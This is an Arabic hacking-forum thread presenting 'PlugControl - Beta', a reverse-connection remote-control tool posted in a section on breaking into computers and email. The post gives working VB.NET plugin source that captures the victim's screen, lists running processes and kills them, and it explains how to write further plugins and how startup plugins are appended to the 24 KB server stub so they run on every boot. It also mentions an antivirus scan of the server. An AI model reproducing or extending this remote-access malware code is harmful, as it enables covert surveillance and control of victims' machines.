|
![]() |
|
أدوات الموضوع | انواع عرض الموضوع |
|
![]() |
#1 | ||||||||
Creator
![]() ![]()
شكراً: 0
تم شكره 3 مرة في مشاركة واحدة
|
![]()
واجهة إستقبال المرجعات من السيرفر لأي بلوقن ![]() ماهي الفكرة ؟ الفكرة الأساسية للبرنامج هي الإتصال العكسي البسيط كاي برنامج تحكم آخر , لكن الخصائص اللتي يحملها السيرفر هي إعادة الاتصال او قطعه او حذف التثبيت للملف وإغلاقه اما الخاصية الأساسية وهي إستقبال Plugin وتنفيذ امر محدد فيه او حذف بلوقن كما رأيت في صورة الواجهة عندما حددت أحد السيرفرس اللتي تتصل بالكلاينت لدي وهو انا ![]() ظهرت البلوقنات اللتي قمت بإرسالها للجهاز عن طريق الأمر Send Plugin والموجود هو مثال لبلوقن بسيط عندما قمت بتحديده ظهرت لي الأوامر الموجودة في البلوقن بالاسفل نلاحظ في الصورة الاخيرة عندما قمت بتنفيذ الأمر Capture الأمر لايأخد مني أي قيمة فتركتها فارغة ثم أعاد لي بايتات الصورة يمكنني عمل Save to file لأحصل على الصورة او لو كان أمر اخر يرجع لي معلومات عن الجهاز على سبيل المثال يمكنني عمل Bytes to string لأرى المعلومات على شكل String كود البلوقن السابق للتوضيح : كود:
Imports System.Drawing Imports System.Windows.Forms Public Class PluginExample Public Function Capture(x As String) As Byte() Dim bounds As System.Drawing.Rectangle Dim screenshot As System.Drawing.Bitmap Dim graph As Graphics bounds = Screen.PrimaryScreen.Bounds screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb) graph = Graphics.FromImage(screenshot) graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy) Dim ms As New System.IO.MemoryStream screenshot.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg) Dim buff() As Byte = ms.GetBuffer() screenshot.Dispose() ms.Close() Return buff End Function Public Function GetProcesses(x As String) As Byte() Dim data As String Dim processes() As Process = Process.GetProcesses() For Each Prc As Process In processes data = data & "(" & Prc.Id.ToString() & ") " & Prc.ProcessName.ToString() & vbNewLine Next Return System.Text.Encoding.UTF8.GetBytes(data) End Function Public Function KillProcessByid(x As String) As Byte() Try Dim id As Integer = Integer.Parse(x) Dim prc As Process = Process.GetProcessById(id) prc.Kill() Catch ex As Exception Return System.Text.Encoding.UTF8.GetBytes("ERROR : " & ex.Message) End Try Return System.Text.Encoding.UTF8.GetBytes("DONE") End Function End Class ![]() كيف نبرمج الإضافة إذن ( Plugin ) نلاحظ من كود البلوقن السابق أنه لبرمجة بلوقن يجب ان يكون إسم البلوقن هو نفس إسم الكلاس اللذي يحتوي فنكنشات البلوقن يجب أن يكون البلوقن من نوع .Net Class Library يتم برمجته بالـ c# - vb.net على سبيل المثال أردت عمل بلوقن بإسم MyPlugin إذن نختار اللغة المطلوبة ثم يجب ان يكون كمكتبة دوت نت ![]() إسم المشروع سيكون MyPlugin اما الكود فيجب ان يتم تعريف كلاس اللذي سيحتوي الفنكشنات بنفس إسم المشروع كود:
Public Class MyPlugin End Class أي فنكشن تريد اضافته يجب ان يكون تعريفه كالتالي كود:
Public Function FunctionName(x As String) As Byte() End Function ويجب ان تأخد الفنكشن بارميتر واحد من نوع String وترجع المطلوب في بايت كيف أمرر اكثر من بارميتر , إعتمد على السبلت اي كالتالي عند التمرير من البرنامج على سبيل المثال فنكشن مسج بوكس Subject |-| Title وفي فنكشن البلوقن كود:
Public Function TheFunction(x As string) As Byte() Dim Splts() As string = Split(x,"|-|") MsgBox(Splts(0),MsgBoxStyle.Information,Splts(1)) End Function كود:
Public Function TheFunction(x As string) As Byte() Dim Splts() As string = Split(x,"|-|") MsgBox(Splts(0),MsgBoxStyle.Information,Splts(1)) Return System.Text.Encoding.UTF8.GetBytes("Executing MsgBox Done") End Function ![]() الـ BeginRun Plugins وهي نوع اخر من الاضافات غير اللتي نقوم بإرسالها للسيرفر بعد إنشاء الإتصال هذه الإضافات او البلوقنات واللتي تقوم بإضافتها عند إنشاء السيرفر وتقوم بتحديد احد الفنكشنات الموجودة فيها لكي ينفذها السيرفر عند تشغيله كل مرة مباشرة قبل حدوث أي إتصال طريقة برمجتها مثل الطريقة السابقة إلا انه لايوجد داعي لإرجاع أي قيمة ( Return ) ملاحظة : عند اضافة احد بلوقنات الـ BeginRun للسيرفر يتم إضافتها كـ EOF ممايزيد من حجم السيرفر إلى حجم السيرفر + حجم البلوقن المضاف الفكرة من البرنامج هي عدم وجود اي خاصية في السيرفر وجميع الخصائص خارجية يقوم ببرمجتها المبرمج ومن الممكن ان يقوم بنشرها للمستخدمين الكلاينت والسيرفر مبرمجين بلغة الـ VB.NET ويتطلب الـ .Net Framework 2 للعمل حجم السيرفر : 24.0 KB (24,576 bytes) فحص السيرفر : ****************Scan [COLOR="rgb(72, 209, 204)"]GulfUp[/COLOR] المصدر: development-point - للمزيد تابع : قسم إختراق الأجـهـزه والأيـمـيـلات PlugControl - Beta hgYw]hv hgH,g beta plugcontrol
|
||||||||
![]() |
![]() |
#2 | ||||||||
Very Excellent
![]() ![]() ![]() ![]() ![]() ![]() ![]()
شكراً: 0
تم شكره مرة واحدة في مشاركة واحدة
|
![]()
مشكور يعطيك العافية
|
||||||||
![]() |
![]() |
مواقع النشر (المفضلة) |
الكلمات الدلالية (Tags) |
beta, الأول, الإصدار, plugcontrol |
![]() |
|
الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1) | |
أدوات الموضوع | |
انواع عرض الموضوع | |
|
|
![]() |
||||
الموضوع | كاتب الموضوع | المنتدى | مشاركات | آخر مشاركة |
الإصدار الأحدث لعملاق التحميل Internet Download Manager 6.17 Build 5 | yassinoxe | جديد البرامج والتطبيقات | 0 | 07-30-2013 05:00 PM |
حصريا الإصدار الأخر من عملاق المونتاج Nero Video 12.5.4000 برابط مباشر مع الشرح | karimoux | جديد البرامج والتطبيقات | 1 | 07-11-2013 08:18 AM |
الإصدار النهائي من عملاق ضغط الملفات الاول فى العالم WinRAR 4.11 Final | زمرده الايمان | جديد البرامج والتطبيقات | 0 | 03-04-2013 08:49 AM |
الإصدار النهائي من عملاق ضغط الملفات الاول فى العالم WinRAR 4.11 Final | زمرده الايمان | جديد البرامج والتطبيقات | 0 | 02-21-2013 02:08 PM |